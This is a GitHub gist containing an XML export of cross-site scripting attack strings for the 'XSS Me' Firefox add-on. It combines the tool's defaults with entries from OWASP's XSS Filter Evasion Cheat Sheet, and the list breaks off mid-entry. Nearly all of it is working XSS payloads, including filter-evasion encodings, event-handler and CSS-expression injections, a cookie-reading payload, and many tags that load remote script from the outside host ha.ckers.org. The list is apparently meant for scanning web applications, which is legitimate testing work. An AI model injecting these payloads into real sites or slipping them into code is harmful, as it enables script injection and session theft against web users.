Last active
August 29, 2015 14:02
-
-
Save cmavr8/224ea41442e9af0d6626 to your computer and use it in GitHub Desktop.
XSS Me strings: Default plus the ones in OWASP's XSS Filter Evasion Cheat Sheet. To be used with Firefox add-on "XSS Me": https://addons.mozilla.org/en-US/firefox/addon/xss-me/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<exportedattacks><attacks><attack><attackString><![CDATA[ | |
<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT>document.vulnerable=true;</SCRIPT> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC="jav ascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC="  javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<<SCRIPT>document.vulnerable=true;//<</SCRIPT> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT <B>document.vulnerable=true;</SCRIPT> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC="javascript:document.vulnerable=true;" | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<iframe src="javascript:document.vulnerable=true; < | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT>a=/XSS/\ndocument.vulnerable=true;</SCRIPT> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
\";document.vulnerable=true;;// | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
</TITLE><SCRIPT>document.vulnerable=true;</SCRIPT> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<INPUT TYPE="IMAGE" SRC="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<BODY BACKGROUND="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<BODY ONLOAD=document.vulnerable=true;> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<IMG DYNSRC="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<IMG LOWSRC="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<BGSOUND SRC="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<BR SIZE="&{document.vulnerable=true}"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<LAYER SRC="javascript:document.vulnerable=true;"></LAYER> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<LINK REL="stylesheet" HREF="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<STYLE>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
ŒscriptŸdocument.vulnerable=true;Œ/scriptŸ | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<IFRAME SRC="javascript:document.vulnerable=true;"></IFRAME> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></FRAMESET> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<TABLE BACKGROUND="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<TABLE><TD BACKGROUND="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<DIV STYLE="background-image: url(javascript:document.vulnerable=true;)"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<DIV STYLE="background-image: url(javascript:document.vulnerable=true;)"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<DIV STYLE="width: expression(document.vulnerable=true);"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<STYLE>@im\port'\ja\vasc\ript:document.vulnerable=true';</STYLE> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<IMG STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<XSS STYLE="xss:expression(document.vulnerable=true)"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<STYLE TYPE="text/javascript">document.vulnerable=true;</STYLE> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<STYLE>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></A> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<STYLE type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</STYLE> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]--> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<BASE HREF="javascript:document.vulnerable=true;//"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></OBJECT> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></HTML> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4- | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<a href="javascript#document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<div onmouseover="document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<img src="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<img dynsrc="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<input type="image" dynsrc="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<bgsound src="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
&<script>document.vulnerable=true;</script> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
&{document.vulnerable=true;}; | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<img src=&{document.vulnerable=true;};> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<link rel="stylesheet" href="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<img src="mocha:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<img src="livescript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<a href="about:<script>document.vulnerable=true;</script>"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<body onload="document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<div style="background-image: url(javascript:document.vulnerable=true;);"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<div style="behaviour: url([link to code]);"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<div style="binding: url([link to code]);"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<div style="width: expression(document.vulnerable=true;);"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<style type="text/javascript">document.vulnerable=true;</style> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<object classid="clsid:..." codebase="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<style><!--</style><script>document.vulnerable=true;//--></script> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<<script>document.vulnerable=true;</script> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<![CDATA[<!--]]<script>document.vulnerable=true;//--></script> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<!-- -- --><script>document.vulnerable=true;</script><!-- -- --> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<img src="blah"onmouseover="document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<img src="blah>" onmouseover="document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<xml src="javascript:document.vulnerable=true;"> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
<div datafld="b" dataformatas="html" datasrc="#X"></div> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[ | |
[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script> | |
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA['';!--"<XSS>=&{()}]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[<IMG SRC="javascript:alert('XSS');">]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[<IMG SRC=javascript:alert('XSS')>]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[<IMG SRC=JaVaScRiPt:alert('XSS')>]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[<IMG SRC=javascript:alert("XSS")>]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[<IMG """><SCRIPT>alert("XSS")</SCRIPT>">]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[<IMG SRC=# onmouseover="alert('xxs')">]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[<IMG SRC= onmouseover="alert('xxs')">]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[<IMG onmouseover="alert('xxs')">]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC=javascript:alert('XSS')> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC=javascript:alert('XSS')> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC=javascript:alert('XSS')> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC="jav ascript:alert('XSS');"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC="jav	ascript:alert('XSS');"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC="jav
ascript:alert('XSS');"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC="jav
ascript:alert('XSS');"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC="  javascript:alert('XSS');"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<<SCRIPT>alert("XSS");//<</SCRIPT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B > | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT SRC=//ha.ckers.org/.j> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC="javascript:alert('XSS')" | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<iframe src=http://ha.ckers.org/scriptlet.html < | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
\";alert('XSS');// | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
</TITLE><SCRIPT>alert("XSS");</SCRIPT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<BODY BACKGROUND="javascript:alert('XSS')"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG DYNSRC="javascript:alert('XSS')"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG LOWSRC="javascript:alert('XSS')"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC='vbscript:msgbox("XSS")'> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC="livescript:[code]"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<BODY ONLOAD=alert('XSS')> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<BGSOUND SRC="javascript:alert('XSS');"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<BR SIZE="&{alert('XSS')}"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
exp/*<A STYLE='no\xss:noxss("*//*"); | |
xss:ex/*XSS*//*/*/pression(alert("XSS"))'> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<STYLE TYPE="text/javascript">alert('XSS');</STYLE> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<XSS STYLE="xss:expression(alert('XSS'))"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<XSS STYLE="behavior: url(xss.htc);"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IFRAME SRC="javascript:alert('XSS');"></IFRAME> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<TABLE BACKGROUND="javascript:alert('XSS')"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<TABLE><TD BACKGROUND="javascript:alert('XSS')"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<DIV STYLE="width: expression(alert('XSS'));"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<!--[if gte IE 4]> | |
<SCRIPT>alert('XSS');</SCRIPT> | |
<![endif]--> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<BASE HREF="javascript:alert('XSS');//"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).: | |
org/xss.swf" AllowScriptAccess="always"></EMBED> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
a="get"; | |
b="URL(\""; | |
c="javascript:"; | |
d="alert('XSS');\")"; | |
eval(a+b+c+d); | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> | |
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<XML SRC="xsstest.xml" ID=I></XML> | |
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<HTML><BODY> | |
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> | |
<?import namespace="t" implementation="#default#time2"> | |
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"> | |
</BODY></HTML> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"--> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<? echo('<SCR)'; | |
echo('IPT>alert("XSS")</SCRIPT>'); ?> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
]]></attackString><signature>OWASP XSS FIlter Evasion Cheat Sheet</signature></attack><attack><attackString><![CDATA[ | |
